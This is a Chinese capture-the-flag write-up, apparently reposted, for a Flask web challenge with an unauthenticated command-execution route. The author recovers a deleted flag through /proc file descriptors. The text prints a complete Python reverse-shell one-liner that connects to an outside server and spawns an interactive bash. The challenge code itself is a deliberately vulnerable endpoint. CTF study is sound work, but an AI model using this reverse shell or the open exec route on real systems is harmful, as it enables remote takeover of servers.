[V&N公開賽] CheckIn


V&N戰隊考核+招新,趙師傅出的Web題,做着感覺有點頂,趁熱打鐵寫write up記錄一下考察的知識點

這道題說是CheckIn其實還是有一定難度的(也可能是我太菜了),進入題目直接給出了flask的路由:

 from flask import Flask, request
 import os
 app = Flask(__name__)
 
 flag_file = open("flag.txt", "r")
 # flag = flag_file.read()
 # flag_file.close()
 #
 # @app.route('/flag')
 # def flag():
 #     return flag
 ## want flag? naive!
 
 # You will never find the thing you want:) I think
 @app.route('/shell')
 def shell():
     os.system("rm -f flag.txt")
     exec_cmd = request.args.get('c')
     os.system(exec_cmd)
     return "1"
 
 @app.route('/')
 def source():
     return open("app.py","r").read()
 
 if __name__ == "__main__":
     app.run(host='0.0.0.0')

 

可以看到flask是包含“/”與“/shell”兩個頁面的,其中Flag儲存在flag.txt中,"/shell?c=$command"是可以執行代碼的

但是一旦訪問/shell 代碼又會“rm -f flag.txt”刪除flag.txt,導致我們無法直接cat /flag.txt(其實這里就算不刪文件也不能直接cat,因為這里是沒有回顯的)

這里引出我們的第一個知識點:文件描述符

什么是文件描述符:內核利用文件描述符來訪問文件。文件描述符是非負整數。打開現存文件或新建文件時,內核會返回一個文件描述符。讀寫文件也需要使用文件描述符來指定待讀寫的文件。

例如Python中,當我們open()函數打開一個文件時便創建了一個文件描述符,而后對這個文件描述符使用read()函數便是讀取文件描述符中的內容,close()函數用於關閉/銷毀這個文件描述符。

文件描述符儲存在什么地方:/proc/<pid>/fd<id>

也就是說,我們可以通過cat進程中的fd來獲取到文件描述符。

重新回到題目,重點關注題目第5行代碼:

flag_file = open("flag.txt", "r")

這里使用open()打開flag.txt是優先於刪除flag.txt的,也就是說在flag.txt被刪除前已經建立了文件描述符,我們通過讀取這個文件描述符的內容就可以獲得Flag。

但是對"/shell?c=$command"進行測試后發現這里是沒有回顯的,所以此時想到的辦法就是我們的第二個點:反彈Shell

建立反彈Shell常見的命令有bash、curl、nc、python -c等,但是這里測試后發現這些常用的命令都被禁了,無法反彈Shell

最后想到了python3 -c “command”執行命令,測試后發現python3可以執行,直接構造Shell:

python3 -c 
'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("39.105.*.*",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'

帶到參數c中請求,在我們的服務器上便可以得到一個交互式的Shell

然后cd進/proc目錄,依次cd進<pid>(就是那些數字)目錄中,使用ls fd得到id

依次嘗試cat fd/0...直到得到Flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM